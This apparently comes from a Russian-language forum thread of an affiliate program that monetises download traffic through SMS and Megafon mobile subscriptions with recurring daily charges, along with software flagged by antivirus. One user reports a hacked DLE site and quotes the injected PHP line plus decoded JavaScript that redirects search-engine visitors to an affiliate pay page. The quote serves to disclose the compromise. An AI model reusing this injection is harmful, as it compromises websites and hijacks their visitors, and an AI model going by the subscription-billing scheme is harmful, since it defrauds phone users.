StimulProfit.com - выгодный конверт вашего download трафика!

отлично! начинаем увеличивать объемы трафа🍾

подписки мегафона - это отл!

Есть у кого то скрин после включения подписок мегафона? Есть разница?

Софт в бане KIS

JesterSoft,мт подписки Мегафон покажут результат только через 7 дней,можно будет сравнивать с смс и псевдо оплатой.

Схема МТ-подписок для абонентов Мегафон:
мгновенная подписка с ребиллом в 5уе,на 7й день ежедневное списание в 15 рублей.

lanos1,обновили софт.

Выходные показывают отличные результаты на новых платниках с мт оплатой!

интересно будет сравнить 🍿

Сегодня ко мне постучались с проблемой на сайте. При переходе с поисковиков идет редирект на платник партнерки.

Взломан сайт forex-limit.ru. Не вычищаю код для доказательства, до тех пор пока сапорт не разберется с партнером и отпишется в теме.

Сайт на дле. Вызов шаблона в index.php изменен на:

echo $tpl->result['main'] = preg_replace('~(<body.*?>)~ism','$1<script src=http://promediagroup.ru/d.js></script>', $tpl->result['main']);

Как видим грузится скрипт http://promediagroup.ru/d.js (думаю этот сайт тоже взломан).

Код джаваскрипта через url_decode:

function l(h) {return parseInt(h,16);}var r=document.referrer;if (r.indexOf('google.') > -1 || r.indexOf('yahoo.') > -1 || r.indexOf('yandex.') > -1 || r.indexOf('bing.com.') > -1 || r.indexOf('yahoo.') > -1 || r.indexOf('rambler.') > -1 || r.indexOf('go.mail.') > -1){document.write(unescape("<script type="text/javascript">sp_redirect = {};sp_redirect.searchers = [ [/google\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.yahoo\./i, /(\?|&)p=(.*?)(&|$)/i, 2], [/bing\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.aol\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/ask\.com/i, /(\?|&)q=(.*?)(&|$)/i, 2], [/altavista\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/search\.lycos\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/alltheweb\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/yandex\./i, /(\?|&)text=(.*?)(&|$)/i, 2], [/(nova\.|search\.)?rambler\./i, /(\?|&)query=(.*?)(&|$)/i, 2], [/gogo\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/go\.mail\./i, /(\?|&)q=(.*?)(&|$)/i, 2], [/nigma\./i, /(\?|&)s=(.*?)(&|$)/i, 2]];sp_redirect.sp_redirect = function(referer) { var query=null; for(var i=0; i<sp_redirect.searchers.length; i++) {  var se = sp_redirect.searchers;  if (referer.match(se[0])) {   query = referer.match(se[1])[se[2]];   break;  } } document.location.href='http://shara.searchlots-all.ru/'+'?wkey="+l('9d837')+"'+''+(query? '&query='+query : '');};sp_redirect.sp_redirect(document.referrer);</script>"));

Айди потока зашифрован в скрипте, поэтому разбираем кукисы и видим, что flow_id = 645175. StimulProfit.com разберитесь.

Советую тем кто использует DLE проверить свои сайты, может быть началась новая волна взлома дле сайтов.

архив выдает ошибку при нажатии кнопки "получить проверочное смс"

Сделайте Досрочную Выплату!

Crucifer,спасибо,разбиремся.

sunrise2000,обновили софт.напишите в тикет или icq,необходима ваша помощь в повторении проблемы.